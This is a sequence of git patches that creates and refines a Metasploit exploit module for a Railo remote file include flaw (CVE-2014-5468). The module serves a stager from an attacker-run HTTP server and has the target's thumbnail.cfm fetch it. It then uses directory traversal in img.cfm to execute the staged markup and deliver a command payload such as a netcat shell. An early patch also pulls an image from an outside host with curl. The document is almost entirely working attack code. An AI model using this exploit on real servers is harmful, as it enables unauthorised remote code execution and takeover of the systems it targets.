From f4965ec5cf128432c91e05846140e72315b0b2cc Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Thu, 28 Aug 2014 08:42:07 -0500 Subject: [PATCH 1/6] Create railo_cfml_rfi.rb --- modules/exploits/linux/http/railo_cfml_rfi.rb | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 modules/exploits/linux/http/railo_cfml_rfi.rb diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb new file mode 100644 index 0000000000..59c66c537e --- /dev/null +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Railo Remote File Include', + 'Description' => '', + 'License' => MSF_LICENSE, + 'Author' => [ + 'dronesec', #Discovery/PoC + 'bperry' #metasploited + ], + 'References' => [], + 'Payload' => { + 'Space' => 99999, #if there is disk space, I think we will fit + 'BadChars' => "", + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat' + } + }, + 'Platform' => %w{ unix }, + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD, + }, + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 28 2014')) + end + + def check + + end + + def exploit + + if datastore['SRVHOST'] == '0.0.0.0' + fail_with('SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + + @shell_name = Rex::Text.rand_text_alpha(15) + stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' + + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_stager(cli, req) + }, + 'Path' => '/' + stager_name + }}) + + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_shell(cli, req) + }, + 'Path' => '/' + @shell_name + }}) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'), + 'vars_get' => { + 'img' => url + '/' + stager_name, + 'height' => '5000', + 'width' => '5000' + } + }) + + unless (res && res.code == 500) + fail_with('Server did not respond in an expected way.') + end + + print_status('Waiting for first stage to download...') + + i = 10 + while !@staged && i > 0 + select(nil, nil, nil, 1) + print_status("Waiting for #{i} more seconds...") + i = i - 1 + end + + @staged = false + + if i == 0 + fail_with('Server did not request the stager.') + end + + hash = Rex::Text.md5("#{url + "/" + stager_name}-5000-5000") #5000 is width and height from GET + + hash.upcase! + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), + 'vars_get' => { + 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, + 'thistag.executionmode' => 'start' + } + }) + end + + def on_request_shell(cli, request) + send_response(cli, payload.encoded, {}) + handler(cli) + end + + def on_request_stager(cli, request) + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name + stager = '' + stager << '' + + png = `curl http://weaknetlabs.com/images/metasploit-i-got-in.png` + + stager.each_byte do |b| + png << b + end + + png << 0x00 + + send_response(cli, png, { 'Content-Type' => 'image/png' }) + + @staged = true + + handler(cli) + end +end From f72cce9ff20ec9666da0fc019ebf780798e555ef Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Fri, 29 Aug 2014 17:33:15 -0500 Subject: [PATCH 2/6] Update railo_cfml_rfi.rb --- modules/exploits/linux/http/railo_cfml_rfi.rb | 116 +++++++++++------- 1 file changed, 72 insertions(+), 44 deletions(-) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 59c66c537e..05896bbdaa 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -2,32 +2,43 @@ # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - + require 'msf/core' - + class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking - + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer - + def initialize(info = {}) super(update_info(info, 'Name' => 'Railo Remote File Include', - 'Description' => '', + 'Description' => %q{ + This module exploits a remote file include vulnerability in Railo, + tested against version 4.2.1. First, a call using a vulnerablea + line in thumbnail.cfm allows an atacker to download an + arbitrary PNG file. By appending a .cfm, and taking advantage of + a directory traversal, an attacker can append cold fusion markup + to the PNG file, and have it interpreted by the server. This is + used to stage and execute a fully-fledged payload. + }, 'License' => MSF_LICENSE, 'Author' => [ - 'dronesec', #Discovery/PoC + 'Bryan Alexander ', #Discovery/PoC 'bperry' #metasploited ], - 'References' => [], + 'References' => [ + ['CVE', '2014-5468'], + ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] + ], 'Payload' => { 'Space' => 99999, #if there is disk space, I think we will fit 'BadChars' => "", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic netcat' + 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' } }, 'Platform' => %w{ unix }, @@ -42,71 +53,79 @@ class Metasploit4 < Msf::Exploit::Remote ], ], 'DefaultTarget' => 0, - 'DisclosureDate' => 'Aug 28 2014')) + 'DisclosureDate' => 'Aug 26 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), + OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) + ], self.class) end - + def check - end - + def exploit - if datastore['SRVHOST'] == '0.0.0.0' - fail_with('SRVHOST must be an IP address accessible from another computer') + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') end - + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s - + @shell_name = Rex::Text.rand_text_alpha(15) stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' - + start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_stager(cli, req) }, 'Path' => '/' + stager_name }}) - + start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_shell(cli, req) }, 'Path' => '/' + @shell_name }}) - + + wh = '5000' #width and height + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'), 'vars_get' => { 'img' => url + '/' + stager_name, - 'height' => '5000', - 'width' => '5000' + 'height' => wh, + 'width' => wh } }) - + unless (res && res.code == 500) - fail_with('Server did not respond in an expected way.') + fail_with(Failure::Unknown, 'Server did not respond in an expected way.') end - + print_status('Waiting for first stage to download...') - - i = 10 + + i = datastore['STAGEWAIT'] while !@staged && i > 0 select(nil, nil, nil, 1) print_status("Waiting for #{i} more seconds...") i = i - 1 end - + @staged = false - + if i == 0 - fail_with('Server did not request the stager.') + fail_with(Failure::Unknown, 'Server did not request the stager.') end - - hash = Rex::Text.md5("#{url + "/" + stager_name}-5000-5000") #5000 is width and height from GET - + + hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") #5000 is width and height from GET + hash.upcase! - - res = send_request_cgi({ + + print_status('Executing stager') + + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), 'vars_get' => { 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, @@ -114,29 +133,38 @@ class Metasploit4 < Msf::Exploit::Remote } }) end - + def on_request_shell(cli, request) + print_status('Sending payload') send_response(cli, payload.encoded, {}) handler(cli) end - + def on_request_stager(cli, request) url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name - stager = '' + + stager = "" stager << '' - - png = `curl http://weaknetlabs.com/images/metasploit-i-got-in.png` - + + png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS' + png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==' + + #A very small PNG file + png = Rex::Text.decode_base64(png) + stager.each_byte do |b| png << b end - + png << 0x00 - + + print_status('Sending stage. This might be sent multiple times.') send_response(cli, png, { 'Content-Type' => 'image/png' }) - + @staged = true - + handler(cli) end end From 438f0e6365c1461aafa7726886b13cf2bef0d460 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Sat, 30 Aug 2014 09:22:58 -0500 Subject: [PATCH 3/6] typos --- modules/exploits/linux/http/railo_cfml_rfi.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 05896bbdaa..407f32c8fb 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -16,11 +16,11 @@ class Metasploit4 < Msf::Exploit::Remote 'Name' => 'Railo Remote File Include', 'Description' => %q{ This module exploits a remote file include vulnerability in Railo, - tested against version 4.2.1. First, a call using a vulnerablea - line in thumbnail.cfm allows an atacker to download an - arbitrary PNG file. By appending a .cfm, and taking advantage of + tested against version 4.2.1. First, a call using a vulnerable + line in thumbnail.cfm allows an attacker to download an + arbitrary PNG file. By appending a .cfm and taking advantage of a directory traversal, an attacker can append cold fusion markup - to the PNG file, and have it interpreted by the server. This is + to the PNG file and have it interpreted by the server. This is used to stage and execute a fully-fledged payload. }, 'License' => MSF_LICENSE, From ee3e5c91596023d167e642b6b8ffb46fea3237d3 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Tue, 2 Sep 2014 21:35:47 -0500 Subject: [PATCH 4/6] Add check method --- modules/exploits/linux/http/railo_cfml_rfi.rb | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 407f32c8fb..5a902db02e 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -17,10 +17,10 @@ class Metasploit4 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a remote file include vulnerability in Railo, tested against version 4.2.1. First, a call using a vulnerable - line in thumbnail.cfm allows an attacker to download an - arbitrary PNG file. By appending a .cfm and taking advantage of + line in thumbnail.cfm allows an atacker to download an + arbitrary PNG file. By appending a .cfm, and taking advantage of a directory traversal, an attacker can append cold fusion markup - to the PNG file and have it interpreted by the server. This is + to the PNG file, and have it interpreted by the server. This is used to stage and execute a fully-fledged payload. }, 'License' => MSF_LICENSE, @@ -63,6 +63,13 @@ class Metasploit4 < Msf::Exploit::Remote end def check + res = send_request_cgi({ + 'url' => normalize_uri(target_uri.path, 'res', 'css', 'admin42.css.cfm') + }) + + return Exploit::CheckCode::Appears if res and res.code == 200 + + return Exploit::CheckCode::Safe end def exploit @@ -92,7 +99,7 @@ class Metasploit4 < Msf::Exploit::Remote wh = '5000' #width and height res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'), + 'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'), 'vars_get' => { 'img' => url + '/' + stager_name, 'height' => wh, From db6052ec6afcfec8f16325e81a914e97abb089a0 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Tue, 9 Sep 2014 18:51:42 -0500 Subject: [PATCH 5/6] Update check method --- modules/exploits/linux/http/railo_cfml_rfi.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 5a902db02e..20ae874177 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -63,11 +63,18 @@ class Metasploit4 < Msf::Exploit::Remote end def check + + md5 = '6de48cb72421cfabdce440077a921b25' #/res/images/id.png + res = send_request_cgi({ - 'url' => normalize_uri(target_uri.path, 'res', 'css', 'admin42.css.cfm') + 'uri' => normalize_uri('res', 'images', 'id.png') #the targeturi is not used in this request }) - return Exploit::CheckCode::Appears if res and res.code == 200 + fail_with(Failure::Unknown, "Server did not respond in an expected way") unless res and res.body + + new_md5 = Rex::Text.md5(res.body) + + return Exploit::CheckCode::Appears if new_md5 == md5 return Exploit::CheckCode::Safe end From 26d8432a22ee3bd54964935bac5cbe1824af61f3 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 9 Sep 2014 19:09:45 -0700 Subject: [PATCH 6/6] Minor style and usability changes to @brandonprry's #3721 --- modules/exploits/linux/http/railo_cfml_rfi.rb | 161 +++++++++--------- 1 file changed, 83 insertions(+), 78 deletions(-) diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 20ae874177..3a944c7404 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -13,70 +13,73 @@ class Metasploit4 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Railo Remote File Include', - 'Description' => %q{ - This module exploits a remote file include vulnerability in Railo, - tested against version 4.2.1. First, a call using a vulnerable - line in thumbnail.cfm allows an atacker to download an - arbitrary PNG file. By appending a .cfm, and taking advantage of - a directory traversal, an attacker can append cold fusion markup - to the PNG file, and have it interpreted by the server. This is - used to stage and execute a fully-fledged payload. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Bryan Alexander ', #Discovery/PoC - 'bperry' #metasploited - ], - 'References' => [ - ['CVE', '2014-5468'], - ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] - ], - 'Payload' => { - 'Space' => 99999, #if there is disk space, I think we will fit - 'BadChars' => "", - 'DisableNops' => true, - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' - } - }, - 'Platform' => %w{ unix }, - 'Targets' => - [ - [ - 'Automatic', - { - 'Platform' => [ 'unix' ], - 'Arch' => ARCH_CMD, - }, - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Aug 26 2014')) + 'Name' => 'Railo Remote File Include', + 'Description' => ' + This module exploits a remote file include vulnerability in Railo, + tested against version 4.2.1. First, a call using a vulnerable + line in thumbnail.cfm allows an atacker to download an + arbitrary PNG file. By appending a .cfm, and taking advantage of + a directory traversal, an attacker can append cold fusion markup + to the PNG file, and have it interpreted by the server. This is + used to stage and execute a fully-fledged payload. + ', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Bryan Alexander ', # Discovery/PoC + 'bperry' # metasploited + ], + 'References' => [ + ['CVE', '2014-5468'], + ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] + ], + 'Payload' => { + 'Space' => 99999, # if there is disk space, I think we will fit + 'BadChars' => "", + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' + } + }, + 'Platform' => %w( unix ), + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 26 2014')) - register_options( - [ - OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), - OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) - ], self.class) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), + OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) + ], self.class) end def check + md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png - md5 = '6de48cb72421cfabdce440077a921b25' #/res/images/id.png + res = send_request_cgi( + 'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request + ) - res = send_request_cgi({ - 'uri' => normalize_uri('res', 'images', 'id.png') #the targeturi is not used in this request - }) - - fail_with(Failure::Unknown, "Server did not respond in an expected way") unless res and res.body + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif !res.body + fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}") + end new_md5 = Rex::Text.md5(res.body) return Exploit::CheckCode::Appears if new_md5 == md5 - return Exploit::CheckCode::Safe + Exploit::CheckCode::Safe end def exploit @@ -89,33 +92,35 @@ class Metasploit4 < Msf::Exploit::Remote @shell_name = Rex::Text.rand_text_alpha(15) stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_stager(cli, req) - }, - 'Path' => '/' + stager_name - }}) + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_stager(cli, req) + end, + 'Path' => '/' + stager_name + }) - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_shell(cli, req) - }, - 'Path' => '/' + @shell_name - }}) + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_shell(cli, req) + end, + 'Path' => '/' + @shell_name + }) - wh = '5000' #width and height + wh = '5000' # width and height - res = send_request_cgi({ + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'), 'vars_get' => { 'img' => url + '/' + stager_name, 'height' => wh, 'width' => wh } - }) + ) - unless (res && res.code == 500) - fail_with(Failure::Unknown, 'Server did not respond in an expected way.') + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif res.code != 500 + fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}") end print_status('Waiting for first stage to download...') @@ -133,39 +138,39 @@ class Metasploit4 < Msf::Exploit::Remote fail_with(Failure::Unknown, 'Server did not request the stager.') end - hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") #5000 is width and height from GET + hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET hash.upcase! print_status('Executing stager') - send_request_cgi({ + send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), 'vars_get' => { 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, 'thistag.executionmode' => 'start' } - }) + ) end - def on_request_shell(cli, request) + def on_request_shell(cli, _request) print_status('Sending payload') send_response(cli, payload.encoded, {}) handler(cli) end - def on_request_stager(cli, request) + def on_request_stager(cli, _request) url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name stager = "" - stager << '' + stager << "" png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS' png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==' - #A very small PNG file + # A very small PNG file png = Rex::Text.decode_base64(png) stager.each_byte do |b| @@ -175,7 +180,7 @@ class Metasploit4 < Msf::Exploit::Remote png << 0x00 print_status('Sending stage. This might be sent multiple times.') - send_response(cli, png, { 'Content-Type' => 'image/png' }) + send_response(cli, png, 'Content-Type' => 'image/png') @staged = true